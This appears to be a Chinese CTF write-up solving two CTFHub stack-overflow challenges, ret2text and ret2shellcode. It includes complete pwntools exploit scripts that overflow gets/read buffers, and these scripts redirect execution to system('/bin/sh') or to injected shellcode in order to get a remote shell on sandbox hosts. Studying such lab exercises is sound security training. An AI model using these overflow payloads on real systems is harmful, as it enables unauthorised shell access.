• CTFHub[PWN技能树]——栈溢出



    一、ret2text

    1. 例行检查,64位程序,没有开启任何保护
      在这里插入图片描述
    2. 本地运行一下情况,看看大概的情况
      在这里插入图片描述
    3. 64位ida载入,检索程序里的字符串发现了bin/sh
      在这里插入图片描述
      要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’)
      在这里插入图片描述
    4. 看main函数
      在这里插入图片描述
      第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可
    from pwn import *
    
    #p=process('./pwn1')
    p=remote("challenge-79d4d6a23952a67b.sandbox.ctfhub.com",24293)
    
    payload='a'*(0x70+8)+p64(0x4007b8)
    
    p.sendline(payload)
    
    p.interactive()
    

    在这里插入图片描述

    二、ret2shellcode

    1. 例行检查,64位程序,仍然未开启任何保护
      在这里插入图片描述
    2. 本地运行一下,看看大概的情况,可以看到,给了我们一个栈上的地址
      在这里插入图片描述
    3. 64位ida载入,看main函数
      在这里插入图片描述
      一开始给了我们参数buf在栈上的地址,然后读入buf,12行,buf只有0x10,但是读入了0x400,明显的溢出漏洞
    4. 这题没有给我们提供现成的后门,加上没有nx保护,可以直接执行shellcode来获取shell
      设置一下环境参数,之后直接用pwntools生成shellcode
    context.arch = 'amd64'
    shellcode = asm(shellcraft.sh())
    
    1. 有了shellcode,然后就是shellcode写到哪里的问题
      本地运行的时候加上上图的代码,可以知道一开始输出了buf参数的地址,接收一下就获得了栈上的地址
    buf_addr = p.recvuntil("]")
    buf_addr = int(buf_addr[-15:-1], 16) 
    

    我们将shellcode写入ret,这样程序在返回的时候就直接去执行我们的shellcode了
    所以我们的shellcode的地址是,0x10是buf的大小,第一个0x8是ebp,第二个是ret

    shellcode_addr = buf_addr + 0x10+0x8+0x8 
    
    1. shellcode有了,shellcode的地址也有了,现在只要往这个地址传入shellcode即可完成利用
    payload = 'a' * 24 + p64(shellcode_addr) + shellcode
    

    完整exp:

    #coding=utf-8
    from pwn import *
    import re
    
    #context.log_level = "debug"
    context.arch = 'amd64'
    
    p=remote("challenge-b841961e5e4c03f8.sandbox.ctfhub.com",37282)
    
    #p=process('./pwn2')
    #gdb.attach(p)
    
    buf_addr = p.recvuntil("]")
    
    buf_addr = int(buf_addr[-15:-1], 16) 
    
    shellcode_addr = buf_addr + 32  
    
    
    shellcode = asm(shellcraft.sh())
    
    payload = 'a' * 24 + p64(shellcode_addr) + shellcode
    p.recv()
    p.sendline(payload)
    p.interactive()
    

    在这里插入图片描述

    技能树的题目现在就出了这么多,出了新的继续更新,接下来尝试历年真题

  • 相关阅读:
    shiro中 UnknownAccountException
    shiro Filter--拦截器
    java构造器执行顺序一个有趣的简单实例
    Java Serializable接口(序列化)理解及自定义序列化
    js中绑定事件处理函数,使用event以及传递额外数据
    js中的this
    jQuery + ashx 实现图片按比例预览、异步上传及显示
    asp.net中的参数传递:Context.Handler 的用法
    javascript 对象详解
    ashx 文件的运用
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273616.html
Copyright © 2020-2023  润新知